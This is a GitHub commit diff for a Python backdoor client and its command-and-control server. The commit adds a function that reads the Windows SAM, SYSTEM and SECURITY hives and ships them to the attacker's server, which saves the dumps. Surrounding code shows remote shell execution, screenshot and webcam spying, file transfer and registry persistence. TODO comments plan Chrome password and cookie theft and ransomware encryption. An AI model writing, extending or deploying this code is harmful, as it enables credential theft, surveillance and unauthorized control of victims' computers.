Skip to content

Commit 9eceb8a

Browse files
committed
v0.12.0-alpha
Added function for downloading SAM - code untested
1 parent 0b061a9 commit 9eceb8a

File tree

2 files changed

+137
-31
lines changed

2 files changed

+137
-31
lines changed

client/backdoor.py

Lines changed: 89 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
# Standard library imports
2+
import ctypes
23
import cv2
34
import json
45
import os
@@ -76,6 +77,38 @@ def screenshot():
7677
# TODO: screenshot other monitors
7778

7879

80+
# TODO: SAM - this code is untested
81+
def get_sam_dump():
82+
if not is_admin():
83+
return "You must run this function as an Administrator."
84+
85+
SAM = r'C:\Windows\System32\config\SAM'
86+
SYSTEM = r'C:\Windows\System32\config\SYSTEM'
87+
SECURITY = r'C:\Windows\System32\config\SECURITY'
88+
89+
try:
90+
sam_file = open(SAM, 'rb')
91+
system_file = open(SYSTEM, 'rb')
92+
security_file = open(SECURITY, 'rb')
93+
94+
sam_data = sam_file.read()
95+
system_data = system_file.read()
96+
security_data = security_file.read()
97+
98+
sam_file.close()
99+
system_file.close()
100+
security_file.close()
101+
102+
return sam_data, system_data, security_data
103+
except PermissionError:
104+
return "Insufficient permissions to access SAM, SYSTEM, or SECURITY files."
105+
except FileNotFoundError:
106+
return "SAM, SYSTEM, or SECURITY file not found. Please check the file paths."
107+
except Exception as e:
108+
return f"An unexpected error occurred: {str(e)}"
109+
110+
111+
79112
def capture_webcam():
80113
webcam = cv2.VideoCapture(0)
81114
webcam.set(cv2.CAP_PROP_EXPOSURE, 40)
@@ -104,7 +137,7 @@ def capture_webcam():
104137
print("Failed to save webcam image")
105138

106139

107-
140+
# TODO rename from persist to `reg_persist`
108141
def persist(reg_name, copy_name):
109142
file_location = os.environ['appdata'] + '\\' + copy_name
110143
try:
@@ -120,6 +153,11 @@ def persist(reg_name, copy_name):
120153
reliable_send('[-] Error Creating Persistence With The Target Machine')
121154

122155

156+
def startup_persist(file_name):
157+
pass
158+
# TODO create persistence in startup folder
159+
160+
123161
def is_admin():
124162
global admin
125163
if platform == 'win32':
@@ -131,8 +169,48 @@ def is_admin():
131169
admin = '[+] Administrator Privileges!'
132170
elif platform == "linux" or platform == "linux2" or platform == "darwin":
133171
pass
134-
# TO BE DONE
172+
# TODO implmenet checking if these platforms have root/admin access
173+
174+
175+
# TODO: more elegant but relibles on an additional library
176+
# def is_admin():
177+
# try:
178+
# return ctypes.windll.shell32.IsUserAnAdmin()
179+
# except:
180+
# return False
181+
182+
183+
# def is_admin():
184+
# global admin
185+
# if platform == 'win32':
186+
# try:
187+
# temp = os.listdir(os.sep.join([os.environ.get('SystemRoot', 'C:\windows'), 'temp']))
188+
# except:
189+
# admin = False
190+
# else:
191+
# admin = True
192+
# elif platform == "linux" or platform == "linux2" or platform == "darwin":
193+
# os.open('/etc/hosts', os.O_RDONLY)
194+
# admin = True
195+
# # TODO implmenet checking if these platforms have root/admin access
196+
# return admin
197+
198+
199+
# def admin_string(is_admin):
200+
# if(is_admin):
201+
# return '[+] Administrator Privileges!'
202+
# else:
203+
# return '[!!] User Privileges!'
204+
205+
206+
# TODO get_chrome_passwords()
207+
208+
# TODO get_chrome_cookies()
135209

210+
# TODO encrypt_user_dir() ransomware element
211+
# TODO def encrypt_file_in_dir(file_name, key)
212+
# TODO def gen_key()
213+
# TODO def send_key(file_name, key)
136214

137215
def shell():
138216
while True:
@@ -147,6 +225,11 @@ def shell():
147225
pass # END
148226
elif command[:3] == 'cd ':
149227
os.chdir(command[3:])
228+
# try:
229+
# os.chdir(command[3:])
230+
# reliable_send('[+] Changed working dir to ' + os.getcwd())
231+
# except Exception as e:
232+
# reliable_send('[-] ' + str(e))
150233
elif command[:6] == 'upload':
151234
download_file(command[7:])
152235
elif command[:8] == 'download':
@@ -195,6 +278,10 @@ def shell():
195278
reliable_send('[+] Started!')
196279
except:
197280
reliable_send('[-] Failed to start!')
281+
# TODO: This code is untested!
282+
elif command[:12] == 'get_sam_dump':
283+
sam_dump, system_dump, security_dump = get_sam_dump()
284+
reliable_send((sam_dump, system_dump, security_dump))
198285
else:
199286
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
200287
stdin=subprocess.PIPE)

server/c2.py

Lines changed: 48 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -280,36 +280,7 @@ def c2_help_manual():
280280
\n''')
281281

282282

283-
def target_communication(target, ip):
284-
screenshot_count = 0
285-
webcam_count = 0
286283

287-
while True:
288-
command = input('* Shell~%s: ' % str(ip))
289-
reliable_send(target, command)
290-
if command == 'quit':
291-
break
292-
elif command == 'background' or command == 'bg':
293-
break
294-
elif command == 'clear':
295-
os.system('clear')
296-
elif command[:3] == 'cd ':
297-
pass
298-
elif command[:6] == 'upload':
299-
upload_file(target, command[7:])
300-
elif command[:8] == 'download':
301-
download_file(target, command[9:])
302-
elif command[:10] == 'screenshot':
303-
screenshot(target, screenshot_count)
304-
screenshot_count += 1
305-
elif command[:6] == 'webcam':
306-
webcam(target, webcam_count)
307-
webcam_count += 1
308-
elif command == 'help':
309-
server_help_manual()
310-
else:
311-
result = reliable_recv(target)
312-
print(result)
313284

314285

315286
def accept_connections():
@@ -444,6 +415,20 @@ def handle_session_command(targets, ips, command):
444415
print('[-] No Session Under That ID Number. Error: ', e)
445416

446417

418+
def handle_sam_dump(target, command):
419+
reliable_send(target, command)
420+
sam_data, system_data, security_data = reliable_recv(target)
421+
if isinstance(sam_data, str): # An error message was returned
422+
print(sam_data)
423+
else: # The file data was returned
424+
with open('SAM_dump', 'wb') as f:
425+
f.write(sam_data)
426+
with open('SYSTEM_dump', 'wb') as f:
427+
f.write(system_data)
428+
with open('SECURITY_dump', 'wb') as f:
429+
f.write(security_data)
430+
431+
447432
def exit_all(targets, sock, t1):
448433
"""
449434
Exits all connections with targets, closes the socket, and stops the thread.
@@ -552,6 +537,40 @@ def exit_c2_server(sock, t1):
552537
print(Colour().yellow('\n[-] C2 Socket Closed! Bye!!'))
553538

554539

540+
def target_communication(target, ip):
541+
screenshot_count = 0
542+
webcam_count = 0
543+
544+
while True:
545+
command = input('* Shell~%s: ' % str(ip))
546+
reliable_send(target, command)
547+
if command == 'quit':
548+
break
549+
elif command == 'background' or command == 'bg':
550+
break
551+
elif command == 'clear':
552+
os.system('clear')
553+
elif command[:3] == 'cd ':
554+
pass
555+
elif command[:6] == 'upload':
556+
upload_file(target, command[7:])
557+
elif command[:8] == 'download':
558+
download_file(target, command[9:])
559+
elif command[:10] == 'screenshot':
560+
screenshot(target, screenshot_count)
561+
screenshot_count += 1
562+
elif command[:6] == 'webcam':
563+
webcam(target, webcam_count)
564+
webcam_count += 1
565+
elif command[:12] == 'get_sam_dump':
566+
handle_sam_dump(target, command)
567+
elif command == 'help':
568+
server_help_manual()
569+
else:
570+
result = reliable_recv(target)
571+
print(result)
572+
573+
555574
def run_c2_server(targets, ips, sock, t1, start_flag):
556575
"""
557576
Runs the Command & Control server.

0 commit comments

Comments
 (0)